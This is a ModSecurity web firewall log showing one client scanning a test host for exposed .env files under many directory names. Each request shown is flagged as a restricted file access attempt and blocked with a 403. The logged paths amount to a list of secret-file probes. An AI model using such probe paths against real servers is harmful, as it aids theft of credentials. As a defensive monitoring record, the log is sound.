[Wed Feb 25 06:04:55.329000 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/client/mutual-fund-app/.env&quot;] [unique_id &quot;aZ6C9_jNQqDNAmB2zjqZyQAAAAY&quot;]
[Wed Feb 25 06:04:55.338810 2026] [:error] [pid 2312880] [client 185.177.72.13:44576] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /babel-plugin-dotenv/test/fixtures/as-alias/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/babel-plugin-dotenv/test/fixtures/as-alias/.env&quot;] [unique_id &quot;aZ6C9yn6hL63qXWzsp19gQAAAAE&quot;]
[Wed Feb 25 06:04:55.339069 2026] [:error] [pid 2312880] [client 185.177.72.13:44576] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/babel-plugin-dotenv/test/fixtures/as-alias/.env&quot;] [unique_id &quot;aZ6C9yn6hL63qXWzsp19gQAAAAE&quot;]
[Wed Feb 25 06:04:55.339246 2026] [:error] [pid 2312880] [client 185.177.72.13:44576] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/babel-plugin-dotenv/test/fixtures/as-alias/.env&quot;] [unique_id &quot;aZ6C9yn6hL63qXWzsp19gQAAAAE&quot;]
[Wed Feb 25 06:04:55.407779 2026] [:error] [pid 2312880] [client 185.177.72.13:44576] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /babel-plugin-dotenv/test/fixtures/default/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/babel-plugin-dotenv/test/fixtures/default/.env&quot;] [unique_id &quot;aZ6C9yn6hL63qXWzsp19ggAAAAE&quot;]
[Wed Feb 25 06:04:55.408073 2026] [:error] [pid 2312880] [client 185.177.72.13:44576] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/babel-plugin-dotenv/test/fixtures/default/.env&quot;] [unique_id &quot;aZ6C9yn6hL63qXWzsp19ggAAAAE&quot;]
[Wed Feb 25 06:04:55.408267 2026] [:error] [pid 2312880] [client 185.177.72.13:44576] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/babel-plugin-dotenv/test/fixtures/default/.env&quot;] [unique_id &quot;aZ6C9yn6hL63qXWzsp19ggAAAAE&quot;]
[Wed Feb 25 06:04:55.441248 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /client/src/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/client/src/.env&quot;] [unique_id &quot;aZ6C9_jNQqDNAmB2zjqZygAAAAY&quot;]
[Wed Feb 25 06:04:55.441542 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/client/src/.env&quot;] [unique_id &quot;aZ6C9_jNQqDNAmB2zjqZygAAAAY&quot;]
[Wed Feb 25 06:04:55.441743 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/client/src/.env&quot;] [unique_id &quot;aZ6C9_jNQqDNAmB2zjqZygAAAAY&quot;]
[Wed Feb 25 06:04:55.460016 2026] [:error] [pid 2312880] [client 185.177.72.13:44576] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /babel-plugin-dotenv/test/fixtures/dev-env/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/babel-plugin-dotenv/test/fixtures/dev-env/.env&quot;] [unique_id &quot;aZ6C9yn6hL63qXWzsp19gwAAAAE&quot;]
[Wed Feb 25 06:04:55.460290 2026] [:error] [pid 2312880] [client 185.177.72.13:44576] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/babel-plugin-dotenv/test/fixtures/dev-env/.env&quot;] [unique_id &quot;aZ6C9yn6hL63qXWzsp19gwAAAAE&quot;]
[Wed Feb 25 06:04:55.460452 2026] [:error] [pid 2312880] [client 185.177.72.13:44576] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/babel-plugin-dotenv/test/fixtures/dev-env/.env&quot;] [unique_id &quot;aZ6C9yn6hL63qXWzsp19gwAAAAE&quot;]
[Wed Feb 25 06:04:55.482813 2026] [:error] [pid 2312880] [client 185.177.72.13:44576] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /babel-plugin-dotenv/test/fixtures/empty-values/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/babel-plugin-dotenv/test/fixtures/empty-values/.env&quot;] [unique_id &quot;aZ6C9yn6hL63qXWzsp19hAAAAAE&quot;]
[Wed Feb 25 06:04:55.483145 2026] [:error] [pid 2312880] [client 185.177.72.13:44576] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/babel-plugin-dotenv/test/fixtures/empty-values/.env&quot;] [unique_id &quot;aZ6C9yn6hL63qXWzsp19hAAAAAE&quot;]
[Wed Feb 25 06:04:55.483343 2026] [:error] [pid 2312880] [client 185.177.72.13:44576] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/babel-plugin-dotenv/test/fixtures/empty-values/.env&quot;] [unique_id &quot;aZ6C9yn6hL63qXWzsp19hAAAAAE&quot;]
[Wed Feb 25 06:04:55.490061 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /clientapp/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ClientApp/.env&quot;] [unique_id &quot;aZ6C9_jNQqDNAmB2zjqZywAAAAY&quot;]
[Wed Feb 25 06:04:55.490370 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ClientApp/.env&quot;] [unique_id &quot;aZ6C9_jNQqDNAmB2zjqZywAAAAY&quot;]
[Wed Feb 25 06:04:55.490550 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ClientApp/.env&quot;] [unique_id &quot;aZ6C9_jNQqDNAmB2zjqZywAAAAY&quot;]
[Wed Feb 25 06:04:55.509939 2026] [:error] [pid 2312880] [client 185.177.72.13:44576] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /babel-plugin-dotenv/test/fixtures/filename/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/babel-plugin-dotenv/test/fixtures/filename/.env&quot;] [unique_id &quot;aZ6C9yn6hL63qXWzsp19hQAAAAE&quot;]
[Wed Feb 25 06:04:55.510217 2026] [:error] [pid 2312880] [client 185.177.72.13:44576] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/babel-plugin-dotenv/test/fixtures/filename/.env&quot;] [unique_id &quot;aZ6C9yn6hL63qXWzsp19hQAAAAE&quot;]
[Wed Feb 25 06:04:55.510419 2026] [:error] [pid 2312880] [client 185.177.72.13:44576] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/babel-plugin-dotenv/test/fixtures/filename/.env&quot;] [unique_id &quot;aZ6C9yn6hL63qXWzsp19hQAAAAE&quot;]
[Wed Feb 25 06:04:55.557579 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /clld_dir/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/clld_dir/.env&quot;] [unique_id &quot;aZ6C9_jNQqDNAmB2zjqZzAAAAAY&quot;]
[Wed Feb 25 06:04:55.557861 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/clld_dir/.env&quot;] [unique_id &quot;aZ6C9_jNQqDNAmB2zjqZzAAAAAY&quot;]
[Wed Feb 25 06:04:55.558055 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/clld_dir/.env&quot;] [unique_id &quot;aZ6C9_jNQqDNAmB2zjqZzAAAAAY&quot;]
[Wed Feb 25 06:04:55.609953 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /cloud/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cloud/.env&quot;] [unique_id &quot;aZ6C9_jNQqDNAmB2zjqZzQAAAAY&quot;]
[Wed Feb 25 06:04:55.610240 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cloud/.env&quot;] [unique_id &quot;aZ6C9_jNQqDNAmB2zjqZzQAAAAY&quot;]
[Wed Feb 25 06:04:55.610459 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cloud/.env&quot;] [unique_id &quot;aZ6C9_jNQqDNAmB2zjqZzQAAAAY&quot;]
[Wed Feb 25 06:04:55.612937 2026] [:error] [pid 2312880] [client 185.177.72.13:44576] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /babel-plugin-dotenv/test/fixtures/override-value/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/babel-plugin-dotenv/test/fixtures/override-value/.env&quot;] [unique_id &quot;aZ6C9yn6hL63qXWzsp19hgAAAAE&quot;]
[Wed Feb 25 06:04:55.613199 2026] [:error] [pid 2312880] [client 185.177.72.13:44576] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/babel-plugin-dotenv/test/fixtures/override-value/.env&quot;] [unique_id &quot;aZ6C9yn6hL63qXWzsp19hgAAAAE&quot;]
[Wed Feb 25 06:04:55.613358 2026] [:error] [pid 2312880] [client 185.177.72.13:44576] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/babel-plugin-dotenv/test/fixtures/override-value/.env&quot;] [unique_id &quot;aZ6C9yn6hL63qXWzsp19hgAAAAE&quot;]
[Wed Feb 25 06:04:55.693517 2026] [:error] [pid 2312880] [client 185.177.72.13:44576] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /babel-plugin-dotenv/test/fixtures/prod-env/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/babel-plugin-dotenv/test/fixtures/prod-env/.env&quot;] [unique_id &quot;aZ6C9yn6hL63qXWzsp19hwAAAAE&quot;]
